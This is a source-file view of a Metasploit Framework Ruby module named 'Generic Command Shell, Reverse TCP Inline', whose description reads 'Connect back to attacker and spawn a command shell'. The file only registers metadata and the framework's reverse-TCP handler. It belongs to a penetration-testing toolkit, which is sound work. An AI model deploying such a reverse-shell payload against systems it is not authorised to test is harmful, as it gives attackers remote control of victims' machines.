metasploit-framework/modules/payloads/singles/generic/shell_reverse_tcp.rb

29 lines
817 B
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/payload/generic'
require 'msf/core/handler/reverse_tcp'
module Metasploit3
2013-08-30 21:28:54 +00:00
include Msf::Payload::Single
include Msf::Payload::Generic
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(merge_info(info,
'Name' => 'Generic Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'skape',
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell
))
end
end